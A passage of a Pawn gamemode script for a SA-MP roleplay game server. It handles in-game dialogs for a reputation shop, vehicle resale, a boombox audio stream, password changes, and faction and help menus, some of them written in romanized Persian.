					SetTimerEx("JammerT",280000,false,"d",playerid);
					Jammer[playerid] = 1;
					//new sender[40];
					//GetPlayerName(playerid, sender, sizeof(sender));
					//new rep[512];
					//format(rep, sizeof(rep), "%s bought a Jetpack from rep shop.", sender);
					//ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else {
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep points.");
					ShowRepShop(playerid);
					}
			}
			case 8:// The first item listed
			{
			   if(PlayerInfo[playerid][pRep] >= 10)
			   {

					PlayerInfo[playerid][pRep] -= 10;
					SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);

					PlayerInfo[playerid][pDrugs] += 15;
					SaveKonVal(playerid, "pDrugs", PlayerInfo[playerid][pDrugs]);
					SendMessage(playerid, COLOR_AdminWarn, "500 drugs added to your drugs.");
					new sender[40];
					GetPlayerName(playerid, sender, sizeof(sender));
					new rep[512];
					format(rep, sizeof(rep), "%s bought 15 drugs from rep shop.", sender);
					ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else {
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep points.");
					ShowRepShop(playerid);
					}
			}
			case 9:// The first item listed
			{
			   if(PlayerInfo[playerid][pRep] >= 10)
			   {

					PlayerInfo[playerid][pRep] -= 10;
					SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);

					PlayerInfo[playerid][pMats] += 500;
					SaveKonVal(playerid, "pMats", PlayerInfo[playerid][pMats]);
					SendMessage(playerid, COLOR_AdminWarn, "500 materials added to your materials.");
					new sender[40];
					GetPlayerName(playerid, sender, sizeof(sender));
					new rep[512];
					format(rep, sizeof(rep), "%s bought 500 materials from rep shop.", sender);
					ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else {
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep points.");
					ShowRepShop(playerid);
					}
			}
			case 10:// The first item listed
			{
			   if(PlayerInfo[playerid][pRep] >= 12)
			   {

					PlayerInfo[playerid][pRep] -= 12;
					SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);

					GivePlayerKolang(playerid, 27, 300);
					SendMessage(playerid, COLOR_AdminWarn, "Combat Shotgun is ready for use.");
					new sender[40];
					GetPlayerName(playerid, sender, sizeof(sender));
					new rep[512];
					format(rep, sizeof(rep), "%s bought a Combat Shotgun from rep shop.", sender);
					ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else {
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep points.");
					ShowRepShop(playerid);
					}
			}
			case 11:// The first item listed
			{
			   if(PlayerInfo[playerid][pRep] >= 1)
			   {

					PlayerInfo[playerid][pRep] -= 1;
					SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);

					GivePlayerKolang(playerid, 14, 300);
					SendMessage(playerid, COLOR_AdminWarn, "Flower is ready for use.");
					new sender[40];
					GetPlayerName(playerid, sender, sizeof(sender));
					new rep[512];
					format(rep, sizeof(rep), "%s bought a Flower from rep shop.", sender);
					ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
					}
					else {
					SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep points.");
					ShowRepShop(playerid);
					}
			}
			case 12:// The first item listed
				{
					if(PlayerInfo[playerid][pRep] >= 100)
					{
					new Get = GetPlayerVirtualWorld(playerid);
					if(BBoxDare[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't place another BoomBox.");
					if(Get != 0) return SCM(playerid, COLOR_YELLOW2, "Error: You can't place a BoomBox here.");
					if(Mahal[playerid] != 9999) return SCM(playerid, COLOR_YELLOW2, "Error: You can't place a BoomBox here.");
					if(TooHouse[playerid] != 9999) return SCM(playerid, COLOR_YELLOW2, "Error: You can't place a BoomBox here.");
					if(TooBiz[playerid] != 9999) return SCM(playerid, COLOR_YELLOW2, "Error: You can't place a BoomBox here.");
						PlayerInfo[playerid][pRep] -= 100;
						SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);

					GetPlayerPos(playerid, BoomBoxPos[0],BoomBoxPos[1],BoomBoxPos[2]);
					BoomBoxObject[playerid] = CreateObject(2226,BoomBoxPos[0],BoomBoxPos[1],BoomBoxPos[2]-1.0,0.0,0.0,0.0);
					LoopingAnim(playerid,"BOMBER","BOM_Plant",4.0,0,0,0,0,0);
					BBoxDare[playerid] = 1;
					   SetTimerEx("bboxtime", 1800000, 0, "d", playerid);
					new sender[40];
						GetPlayerName(playerid, sender, sizeof(sender));
					}
					else {
						SendMessage(playerid, COLOR_YELLOW2, "Error: You haven't enough rep points.");
						ShowRepShop(playerid);
					}
			}
			case 13:
			{
				if(PlayerInfo[playerid][pRep] >= 200)
				{
				PlayerInfo[playerid][pBuff] += 200;
				SaveKonVal(playerid, "pBuff", PlayerInfo[playerid][pBuff]);
				PlayerInfo[playerid][pRep] -= 200;
				SaveKonVal(playerid, "pRep", PlayerInfo[playerid][pRep]);
				new rep[144];
				format(rep, sizeof(rep), "%s bought 200 buffs from rep shop.", RPName(playerid));
				ProxDetector(20.0, playerid, rep, COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE,COLOR_PURPLE);
				}
				else
				{
				Error(playerid, "Error: You haven't enough rep points.")
				ShowRepShop(playerid);
				}
			}


		}
	}
	}
		 if(dialogid == 4202)
		 {
		  if(response)
	   {
			switch(listitem)// Checking which listitem was selected
		{
			case 0:// The first item listed
			{
				pbdg += 1;
				return 1;
			}
			case 1:// The first item listed
			{
				pbsl += 1;
				return 1;
			}
			case 2:// The first item listed
			{
				pbsg += 1;
				return 1;
			}
			case 3:// The first item listed
			{
				pbss += 1;
				return 1;
			}
			case 4:// The first item listed
			{
				pbcs += 1;
				return 1;
			}
				case 5:// The first item listed
			{
				pbmp += 1;
				return 1;
			}
				case 6:// The first item listed
			{
				pbsr += 1;
				return 1;
			}
				case 7:// The first item listed
			{
				pbak += 1;
				return 1;
			}
				case 8:// The first item listed
			{
				pbm4 += 1;
				return 1;
			}
				case 9:// The first item listed
			{
				pbcr += 1;
				return 1;
			}

		}
		}
	}
	if(dialogid == 8347)
	{
	   if(response)
	   {
			new v = PlayerInfo[playerid][pVeh1];
//			new pcar = PlayerInfo[playerid][pCar_1];
		  if(GetPlayerVehicleID(playerid) != PINFO[playerid][pCar_1]) return SCM(playerid,COLOR_SINA3,"You must be in your vehicle to see it.");
		  if(!IsPlayerInRangeOfPoint(playerid,8.0,325.5731,-1514.8918,36.0325)) return SCM(playerid,COLOR_SINA3,"You are not in dealer ship.");
		  new price = ((vInfo[v][cPrice])*(40)/(100));
		  GivePlayerPool(playerid,price);
		  MashinOwner[PINFO[playerid][pCar_1]] = 9999;
		  DestroyVehicle(PINFO[playerid][pCar_1], true);
		  OwnedMashin[PINFO[playerid][pCar_1]] = 0;
		  PINFO[playerid][pCar_1] = 0;
		  SaveKonVal(playerid, "pCar_1", 0);
		  vInfo[v][cLocationx] = 0.0;
		  SaveKonFloatV(v, "cLocationx", 0);
		  vInfo[v][cLocationy] = 0.0;
		  SaveKonFloatV(v, "cLocationy", 0);
		  vInfo[v][cLocationz] = 0.0;
		  SaveKonFloatV(v, "cLocationz", 0);
		  vInfo[v][cAngle] = 0.0;
		  SaveKonFloatV(v, "cAngle", 0);
		  vInfo[v][cColor1] = 9999;
		  SaveKonValV(v, "cColor1", 9999);
		  vInfo[v][cColor2] = 9999;
		  SaveKonValV(v, "cColor2", 9999);
		  vInfo[v][cModel] = 0;
		  SaveKonValV(v, "cModel", 0);
		  vInfo[v][cPrice] = 0;
		  SaveKonValV(v, "cPrice", 0);
		  strmid(vInfo[v][cPlate], "New Veh", 0, strlen("New Veh"), 255);
		  SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
		  vInfo[v][cLock] = 0;
		  SaveKonValV(v, "cLock", 0);
		  vInfo[v][cDestroyed] = 0;
		  SaveKonValV(v, "cDestroyed", 0);
		  vInfo[v][cFixed] = 0;
		  SaveKonValV(v, "cFixed", 0);
		  vInfo[v][cInsurance] = 0;
		  SaveKonValV(v, "cInsurance", 0);
		  vInfo[v][cFuel] = 0;
		  SaveKonValV(v, "cFuel", 0);
		  vInfo[v][cHealth] = 0.0;
		  SaveKonFloatV(v, "cHealth", 0);
		  vInfo[v][gLocationX] = 0;
		  SaveKonFloatV(v, "gLocationX", 0);
		  vInfo[v][gLocationY] = 0;
		  SaveKonFloatV(v, "gLocationY", 0);
		  vInfo[v][gLocationZ] = 0;
		  SaveKonFloatV(v, "gLocationZ", 0);
		  vInfo[v][gAngle] = 0;
		  SaveKonFloatV(v, "gAngle", 0);
		  vInfo[v][gParked] = 0;
		  SaveKonValV(v, "gParked", 0);
		  vInfo[v][cMod1] = 0;
		  SaveKonValV(v, "cMod1", 0);
		  vInfo[v][cMod3] = 0;
		  SaveKonValV(v, "cMod3", 0);
		  vInfo[v][cMod4] = 0;
		  SaveKonValV(v, "cMod4", 0);
		  vInfo[v][cMod5] = 0;
		  SaveKonValV(v, "cMod5", 0);
		  vInfo[v][cMod6] = 0;
		  SaveKonValV(v, "cMod6", 0);
		  vInfo[v][cMod7] = 0;
		  SaveKonValV(v, "cMod7", 0);
		  vInfo[v][cMod8] = 0;
		  SaveKonValV(v, "cMod8", 0);
		  vInfo[v][cMod9] = 0;
		  SaveKonValV(v, "cMod9", 0);
		  vInfo[v][cMod10] = 0;
		  SaveKonValV(v, "cMod10", 0);
		  vInfo[v][cMod11] = 0;
		  SaveKonValV(v, "cMod11", 0);
		  vInfo[v][cMod12] = 0;
		  SaveKonValV(v, "cMod12", 0);
		  vInfo[v][cMod13] = 0;
		  SaveKonValV(v, "cMod13", 0);
		  vInfo[v][cMod14] = 0;
		  SaveKonValV(v, "cMod14", 0);
		  vInfo[v][cMod15] = 0;
		  SaveKonValV(v, "cMod15", 0);
		  vInfo[v][cMod16] = 0;
		  SaveKonValV(v, "cMod16", 0);
		  vInfo[v][cMod17] = 0;
		  SaveKonValV(v, "cMod17", 0);
		  vInfo[v][cPaintJob] = 3;
		  SaveKonValV(v, "cPaintJob", 3);
		  vInfo[v][cKilo] = 0.0;
		  SaveKonFloatV(v, "cKilo", 0);
		  vInfo[v][cPanel] = 0;
		  SaveKonValV(v, "cPanel", 0);
		  vInfo[v][cDoors] = 0;
		  SaveKonValV(v, "cDoors", 0);
		  vInfo[v][cLights] = 0;
		  SaveKonValV(v, "cLights", 0);
		  vInfo[v][cTires] = 0;
		  SaveKonValV(v, "cTires", 0);
		  PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
			PlayerInfo[playerid][pVeh1] = 0;
			SaveKonVal(playerid, "pVeh1", 0);
		  //SaveAccount(playerid);
		  new string[256];format(string,256,"You sold your vehicle for $%s",FormatNumber(price));
		  SCM(playerid,COLOR_SINA3,string);
		  return 1;
	   }
	}// New /Ffnn System Added by Sina
		if(dialogid == DIALOG_BOOMBOX)
	{
		if(!response)
		{

		}
		else if(strlen(inputtext) < 64 || strlen(inputtext) > 0)
		{
		for(new i = 0;i<MAX_PLAYERS;i++)
		{
					//GetPlayerPos(playerid, BoomBoxPos[0],BoomBoxPos[1],BoomBoxPos[2]);
					PlayAudioStreamForPlayer(i,inputtext,BoomBoxPos[0],BoomBoxPos[1],BoomBoxPos[2],45,1)
				}
				}
		return 1;
		}
		
		
		
		









		if(dialogid == DIALOG_CHANGE_PASSWORDN)
	{
//		new string[1045];
//		new sendername[512];
		if(response)
	{
		  new length = strlen(inputtext);
		  new passer[129];
		  new AlanPass[129];
		  format(AlanPass,129,PINFO[playerid][pKey]);
          WP_Hash(passer, sizeof(passer), inputtext);
		  if(strcmp(passer,AlanPass))
		  {
			ShowPlayerDialog(playerid,DIALOG_CHANGE_PASSWORDN,DIALOG_STYLE_PASSWORD, "Password", "{FF0000}You're entered a WRONG password.\n\n{A9C4E4}Please enter your {FF0000}current{A9C4E4} password below.", "Done", "Cancel");
			return 1;
			}
			if(length < 2)
			{
			ShowPlayerDialog(playerid,DIALOG_CHANGE_PASSWORDN,DIALOG_STYLE_PASSWORD, "Password", "{FF0000}You're entered an invalid password.\n\n{A9C4E4}Please enter your {FF0000}current{A9C4E4} password below.", "Done", "Cancel");
			return 1;
			}
			ShowPlayerDialog(playerid,DIALOG_CHANGE_PASSWORDS,DIALOG_STYLE_PASSWORD, "Password", "{A9C4E4}Now enter your {00FF00}new{A9C4E4} password below.", "Done", "Cancel");
		}
		return 1;
	}


				if(dialogid == DIALOG_CHANGE_PASSWORDS)
	{
//		new string[1045];
//		new sendername[512];
		if(response)
	{
			new length = strlen(inputtext);
			if(length < 2 || length > 100)
			{
			ShowPlayerDialog(playerid,DIALOG_CHANGE_PASSWORDN,DIALOG_STYLE_PASSWORD, "Password", "{FF0000}Your new password is too long/short.\n\n{A9C4E4}Please enter your {FF0000}current{A9C4E4} password below.", "Done", "Cancel");
			return 1;
			}
			if(FindBadSign(inputtext)) {
			ShowPlayerDialog(playerid,DIALOG_CHANGE_PASSWORDN,DIALOG_STYLE_PASSWORD, "Password", "{FF0000}Your new password is invalid.\n\n{A9C4E4}Please enter your {FF0000}current{A9C4E4} password below.", "Done", "Cancel");
			return 1;
			}
			strcpy(CPass[playerid],inputtext,201);// Chizi ke yaroo too DIALOG_CHANGE_PASSWORDN neveshte ro copy mikone too CPass[playerid]

			//strcpy(CPass[playerid],inputtext,sizeof(CPass[playerid]));// Chizi ke yaroo too DIALOG_CHANGE_PASSWORDN neveshte ro copy mikone too CPass[playerid]
			//strcpy(CPass[playerid],inputtext);// Chizi ke yaroo too DIALOG_CHANGE_PASSWORDN neveshte ro copy mikone too CPass[playerid]
			ShowPlayerDialog(playerid,DIALOG_CHANGE_PASSWORDM,DIALOG_STYLE_PASSWORD, "Password", "{A9C4E4}Now enter your {00FF00}new{A9C4E4} password again below.", "Done", "Cancel");
		}
		return 1;
	}
		
		
						if(dialogid == DIALOG_CHANGE_PASSWORDM)
	{
//		new string[1045];
//		new sendername[512];
		if(response)
	{
		  if(strcmp(inputtext,CPass[playerid]))
		  {
			ShowPlayerDialog(playerid,DIALOG_CHANGE_PASSWORDN,DIALOG_STYLE_PASSWORD, "Password", "{FF0000}Your new password doesn't matched to this new password.\n\n{A9C4E4}Please enter your {FF0000}current{A9C4E4} password below.", "Done", "Cancel");
			return 1;
			}
		  new length = strlen(inputtext);
			if(length < 2 || length > 200)
			{
			ShowPlayerDialog(playerid,DIALOG_CHANGE_PASSWORDN,DIALOG_STYLE_PASSWORD, "Password", "{FF0000}Your new password is too long/short.\n\n{A9C4E4}Please enter your {FF0000}current{A9C4E4} password below.", "Done", "Cancel");
			return 1;
			}
		  new passer[129];
		  new thispw[129];
		  new passsssssss[129];
		  strcpy(thispw,CPass[playerid],129);
		  strcpy(passsssssss,thispw,129);
          WP_Hash(passer, sizeof(passer), thispw);
				strmid(PlayerInfo[playerid][pKey], passer, 0, strlen(passer), 129);
				SaveKonStr(playerid, "pKey", passer);
				//SaveAccount(playerid);
				//new sstring[256];
				//format(sstring, sizeof(sstring), "Your new password is: {FFFFFF}%s", PINFO[playerid][pKey]);
				//SendMessage(playerid, COLOR_Good, sstring);
			 new pin[1024];
			 format(pin, sizeof(pin), "Your new password is:{FFFFFF} %s{A9C4E4}\n\nThis password is for your next coming.\n{FF0000}Don't tell people your new password for more account secure\n{A9C4E4}If you think you {FF0000}forgot this password{A9C4E4} take a screenshot from this menu.", passsssssss);
			 ShowPlayerDialog(playerid, 7818, DIALOG_STYLE_MSGBOX,"Password", pin,"Done", "");
			 new ahmadzoghi[128];
			 new sextxxt[10];
			 if(PINFO[playerid][pSex] == 1) sextxxt = "his";
			 if(PINFO[playerid][pSex] == 2) sextxxt = "her";
	         format(ahmadzoghi, sizeof(ahmadzoghi), "[Admin-Warn]: {FFFFFF}Player %s(%i) changed %s account's password.",RPName(playerid), playerid, sextxxt);
	         ABroadCast(COLOR_AdminWarn,ahmadzoghi,12);
             if(PINFO[playerid][pAuto] != 0)
             {
			 SaveKonStr(playerid, "pAutoIP", "255.255.255.255");
			 }
			
			
			
			
			
			
			
		}
		return 1;
	}
		
		
		
	if(dialogid == DIALOG_FFNN)
	{
		if(response)
		{
	   //ShowPlayerDialog(playerid,DIALOG_FFNN,DIALOG_STYLE_LIST,"{FF0000}Factions","{FFFFFF}Peaceful Factions\nMedium Factions\nExpert Factions\n Civilian -> 0","Select","Close");
		new sina[50];
	   format(sina,sizeof(sina),"/ffnn");
	   OnPlayerCommandText(playerid, sina);
	   new strlol[2400];
	   if(listitem == 0) {strcat(strlol, "{00FF40}4 {FF8040}= {FF0000}Fire & Medic Department{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}9 {FF8040}= {825B8C}News Reporter{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}10 {FF8040}= {FFFF00}Taxi Driver{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}11 {FF8040}= {0974C6}School Instructor{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}16 {FF8040}= {F9F7CE}Tow Truck Company{FFFFFF}\n\n", 2400);
	   return ShowPlayerDialog(playerid, 8423, DIALOG_STYLE_MSGBOX, "Peaceful Factions", strlol, "Close", "");
	   }
	   if(listitem == 1) {strcat(strlol, "{00FF40}5 {FF8040}= {5D7E8D}Silence Mafia{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}6 {FF8040}= {3E3535}The Killers Family{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}12 {FF8040}= {19AF23}Dangerous Tigers Family{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}13 {FF8040}= {FFBA00}Legendary Men Family{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}14 {FF8040}= {B32CF6}Fast N Furious Family{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}15 {FF8040}= {00ECEC}Storm Men Family{FFFFFF}\n\n", 2400);
	   return ShowPlayerDialog(playerid, 8423, DIALOG_STYLE_MSGBOX, "Medium Factions", strlol, "Close", "");
		}
	   if(listitem == 2) {strcat(strlol, "{00FF40}1 {FF8040}= {0000ff}Police Department{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}2 {FF8040}= {171DFF}FBI{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}3 {FF8040}= {2c4c9b}National Guard{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}7 {FF8040}= {BBF060}Mayor{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}8 {FF8040}= {8E2323}Hitman Agency{FFFFFF}\n\n", 2400);
	   strcat(strlol, "{00FF40}17 {FF8040}= {7A7399}Unknowns{FFFFFF}\n\n", 2400);
	   //strcat(strlol, "{00FF40}21 {FF8040}= {7D633B}Soldier Ship{FFFFFF}\n\n", 2400);// It's need to change!
	   return ShowPlayerDialog(playerid, 8423, DIALOG_STYLE_MSGBOX, "Expert Factions", strlol, "Close", "");
		 }
		 if(listitem == 4)
		  {
//		  new strlol[2400];
	strcat(strlol, "				         	       [:. Jobs .:]\n\n", 2400);
		  strcat(strlol, "Detective (ID: 1) | Lawyer (ID: 2) | Drug Dealer (ID: 4) | Car Jacker (ID: 5) | Car Mechanic (ID: 7)\n\n", 2400);
		  strcat(strlol, "Arms Dealer (ID: 9) | Bus Driver (ID: 14) | Trucker (ID: 16) | Farmer (ID: 18) | Garbage Man (ID: 20)\n\n", 2400);
		  strcat(strlol, "Pizza Boy (ID: 21) | Sweeper (ID: 22) | Liquor Dealer (ID: 23) |\n\n", 2400);
		  return ShowPlayerDialog(playerid, 8425, DIALOG_STYLE_MSGBOX, "Jobs", strlol, "Done", "");
	}
		}
	}// New Help System by Sina
	if(dialogid == 8590)
	   {
		  if(response)
		  {
		  if(listitem == 0) {
			ShowPlayerDialog(playerid, 9091, DIALOG_STYLE_MSGBOX,"Help","Salam ! In Help Makhsouse Server e Azin Game Hastesh","Done","");
			return 1;
			}
		  if(listitem == 1) {
			ShowPlayerDialog(playerid, 8456, DIALOG_STYLE_MSGBOX,"General","/Stats : Baraye Didane Etela'ate Shakhsie Khod \n\n /GPS : Baraye Didane Location Haye Moheme Server.","Ok","");
			return 1;
			}
			if(listitem == 2) {
			if(PINFO[playerid][pHelper] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: you are not helper to read this part.")
			ShowPlayerDialog(playerid, 4150, DIALOG_STYLE_LIST, "Helpers", "{FFFFFF}{FF0000}/Ch :{FFFFFF} for close helpme conversation \n\n{FF0000}/Ah : {FFFFFF} for Open a conversation. \n\n{FF0000}/Helpmes : {FFFFFF}baraye didane helpme haye mojod. \n\n{FF0000}/hl :{FFFFFF}baraye chat dar helpers chat.", "Done", "");
			return 1;
			}
			if(listitem == 3) {
			ShowPlayerDialog(playerid, 6590, DIALOG_STYLE_LIST, "Civillians Helpery", "/jobs : baraye pool dar avardan \n\n /helpme : baraye porsidane soal haye khod \n\n /Report : gozareshe cheat & hack &... be admin ha\n\n /Admins: baraye didane admin haye online", "Done", "");
			return 1;
			}
			if(listitem == 4) {
			ShowPlayerDialog(playerid, 5023, DIALOG_STYLE_LIST, "Bank Helpery", "{FFFFFF}Use /Deposit For Deposit money \n{FFFFFF}/Transfer baraye enteghale pool\n{FFFFFF}/Withdraw : bardashte pool.\n", "Done", "");
			return 1;
			}
			if(listitem == 5) {
			ShowPlayerDialog(playerid, 1554, DIALOG_STYLE_MSGBOX,"House & Rent","/buyhouse : to buy house . \n/Rentroom : baraye ejare khane\n /Sellhouse : taiin gheymat khane shoma\n/setrentable [on/off]: baraye taghie ghabel ejare budan\n/RentPrice : gheymat ejare house ha !","Done","");
			return 1;
			}
			if(listitem == 6) {
			ShowPlayerDialog(playerid, 5660, DIALOG_STYLE_MSGBOX,"Referral","/myreferral : in dastoor baraye didan code moarefi ast\nshoma ba avardane har nafar bayad be on begooid moghe sabte'nam hatman code moaref (referral) shoma ra bezanand!\nvaghti Dooste shoma code moaref shoma ra dar server vared mikonad server har buy level ke shakhse moghabel konad\nbaraye shoma Gift va jayezei az jomle Respect va pool\n dar nazar migirad","Done","");
			return 1;
			}
			if(listitem == 7) {
			if(PINFO[playerid][pAdmin] < 1) return SCM(playerid, COLOR_YELLOW2, "Error: you are not admin to Read this part.")
			ShowPlayerDialog(playerid, 9870, DIALOG_STYLE_INPUT,"Administrative Help","/Adh : it's a fully help of your Admins and another one you just can see your own admin level help on /Adh.\n{FF0000}/Reports : report haye mojod ra be shoma neshan midahad.\n/cr : report shakhse moghabel ra az tarighe id e ou mibandad . \n/ar : Report e Shakhse Moghabel ra az Tarighe ID e Ou Baz Mikonad.\n","Done","");
			return 1;
			}
			if(listitem == 8) {
			ShowPlayerDialog(playerid, 5481, DIALOG_STYLE_MSGBOX,"Tarikhche server","This Server Scripted by Sina\n In Server Ba Modiriate Ranger Rah Andazi Shode\n Scripter e Server: Sina.","Done","");
			return 1;
			}
			if(listitem == 9) {
			ShowPlayerDialog(playerid, 5487, DIALOG_STYLE_MSGBOX,"Masooliat","Khob dooste aziz be in ghesmat khob deghat kon va gosh kon\n ma HichGoone {FF0000} hich Goone{FFFFFF} masooliati dar ghebale Account haye hack shode\n dozdide shode\n pass haye gom shode va ... nadarim va hame in ha bar asas Taiid aval bazi bar ohde player aziz mibashad.\n\n\n\n{FF0000}Azin Game","Done","");
			return 1;
			}
			if(listitem == 10) {
			ShowPlayerDialog(playerid, 94752, DIALOG_STYLE_MSGBOX,"{FFFFFF}Cheats {FF0000}& {FFFFFF}Hack","{FFFFFF}Har goone cheat Dar Server {FF0000}Azin Game{FFFFFF} mojebe ban 5 rooz\n baraye player mishavad va agar ham ta be hal ekhtar nadashte bashad mojebe\n  Dariafte ekhtar migardad\n{FF0000}Cheat Nazanid Ekhtar Baraye Admin Ha Mire! ( Har Cheat i )","Done","");
			}
		}
			return 1;
			}
			/*
			// Change Password New ;\ Ranger
			if(dialogid == 12541285)
	{
		if(response)
		{
			if(strlen(inputtext) >= 1)
			{
//    			if(FindBadSign(inputtext)) return SCM(playerid,COLOR_SINA2,"Please use only (A-Z) a-z [0-9] _ in password.");
				format(PlayerInfo[playerid][pKey], 255, "%s", inputtext);
			new strlol[2400];
			  strcat(strlol, "Change-Password: Your password was changed successfully.\n", 2400);
			  strcat(strlol, "Change-Password: After relog you must login with your new password.", 2400);
			  ShowPlayerDialog(playerid, 8423, DIALOG_STYLE_MSGBOX, "Change-Password:", strlol, "Done", "");
				new Str[256];
				format(Str,256,"UPDATE `users` SET `pKey`='%e' WHERE `pID`='%d'",inputtext, PlayerInfo[playerid][pID]);
				mysql_tquery(handle,Str);
			}
			else return SCM(playerid,COLOR_SINA2,"The new password must been over 1 character.");
		}
	}
	*/

	if(dialogid == 8447)
	{
	   if(response)
	   {
			new v = PlayerInfo[playerid][pVeh2];
//			new pcar = PlayerInfo[playerid][pCar_2];
		  if(GetPlayerVehicleID(playerid) != PINFO[playerid][pCar_2]) return SCM(playerid,COLOR_SINA3,"You must be in your vehicle to see it.");
		  if(!IsPlayerInRangeOfPoint(playerid,8.0,325.5731,-1514.8918,36.0325)) return SCM(playerid,COLOR_SINA3,"You are not in dealer ship.");
		  new price = ((vInfo[v][cPrice])*(40)/(100));
		  GivePlayerPool(playerid,price);
		  MashinOwner[PINFO[playerid][pCar_2]] = 9999;
		  DestroyVehicle(PINFO[playerid][pCar_2], true);
		  OwnedMashin[PINFO[playerid][pCar_2]] = 0;
		  PINFO[playerid][pCar_2] = 0;
		  SaveKonVal(playerid, "pCar_2", 0);
		  vInfo[v][cLocationx] = 0.0;
		  SaveKonFloatV(v, "cLocationx", 0);
		  vInfo[v][cLocationy] = 0.0;
		  SaveKonFloatV(v, "cLocationy", 0);
		  vInfo[v][cLocationz] = 0.0;
		  SaveKonFloatV(v, "cLocationz", 0);
		  vInfo[v][cAngle] = 0.0;
		  SaveKonFloatV(v, "cAngle", 0);
		  vInfo[v][cColor1] = 9999;
		  SaveKonValV(v, "cColor1", 9999);
		  vInfo[v][cColor2] = 9999;
		  SaveKonValV(v, "cColor2", 9999);
		  vInfo[v][cModel] = 0;
		  SaveKonValV(v, "cModel", 0);
		  vInfo[v][cPrice] = 0;
		  SaveKonValV(v, "cPrice", 0);
		  strmid(vInfo[v][cPlate], "New Veh", 0, strlen("New Veh"), 255);
		  SaveKonStrV(v, "cPlate", vInfo[v][cPlate]);
		  vInfo[v][cLock] = 0;
		  SaveKonValV(v, "cLock", 0);
		  vInfo[v][cDestroyed] = 0;
		  SaveKonValV(v, "cDestroyed", 0);
		  vInfo[v][cFixed] = 0;
		  SaveKonValV(v, "cFixed", 0);
		  vInfo[v][cInsurance] = 0;
		  SaveKonValV(v, "cInsurance", 0);
		  vInfo[v][cFuel] = 0;
		  SaveKonValV(v, "cFuel", 0);
		  vInfo[v][cHealth] = 0.0;
		  SaveKonFloatV(v, "cHealth", 0);
		  vInfo[v][gLocationX] = 0;
		  SaveKonFloatV(v, "gLocationX", 0);
		  vInfo[v][gLocationY] = 0;
		  SaveKonFloatV(v, "gLocationY", 0);
		  vInfo[v][gLocationZ] = 0;
		  SaveKonFloatV(v, "gLocationZ", 0);
		  vInfo[v][gAngle] = 0;
		  SaveKonFloatV(v, "gAngle", 0);
		  vInfo[v][gParked] = 0;
		  SaveKonValV(v, "gParked", 0);
		  vInfo[v][cMod1] = 0;
		  SaveKonValV(v, "cMod1", 0);
		  vInfo[v][cMod3] = 0;
		  SaveKonValV(v, "cMod3", 0);
		  vInfo[v][cMod4] = 0;
		  SaveKonValV(v, "cMod4", 0);
		  vInfo[v][cMod5] = 0;
		  SaveKonValV(v, "cMod5", 0);
		  vInfo[v][cMod6] = 0;
		  SaveKonValV(v, "cMod6", 0);
		  vInfo[v][cMod7] = 0;
		  SaveKonValV(v, "cMod7", 0);
		  vInfo[v][cMod8] = 0;
		  SaveKonValV(v, "cMod8", 0);
		  vInfo[v][cMod9] = 0;
		  SaveKonValV(v, "cMod9", 0);
		  vInfo[v][cMod10] = 0;
		  SaveKonValV(v, "cMod10", 0);
		  vInfo[v][cMod11] = 0;
		  SaveKonValV(v, "cMod11", 0);
		  vInfo[v][cMod12] = 0;
		  SaveKonValV(v, "cMod12", 0);
		  vInfo[v][cMod13] = 0;
		  SaveKonValV(v, "cMod13", 0);
		  vInfo[v][cMod14] = 0;
		  SaveKonValV(v, "cMod14", 0);
		  vInfo[v][cMod15] = 0;
		  SaveKonValV(v, "cMod15", 0);
		  vInfo[v][cMod16] = 0;
		  SaveKonValV(v, "cMod16", 0);
		  vInfo[v][cMod17] = 0;
		  SaveKonValV(v, "cMod17", 0);
		  vInfo[v][cPaintJob] = 3;
		  SaveKonValV(v, "cPaintJob", 3);
		  vInfo[v][cKilo] = 0.0;
		  SaveKonFloatV(v, "cKilo", 0);
		  vInfo[v][cPanel] = 0;
		  SaveKonValV(v, "cPanel", 0);
		  vInfo[v][cDoors] = 0;
		  SaveKonValV(v, "cDoors", 0);
		  vInfo[v][cLights] = 0;
		  SaveKonValV(v, "cLights", 0);
		  vInfo[v][cTires] = 0;
		  SaveKonValV(v, "cTires", 0);
		  PlayerPlaySound(playerid, 1052, 0.0, 0.0, 0.0);
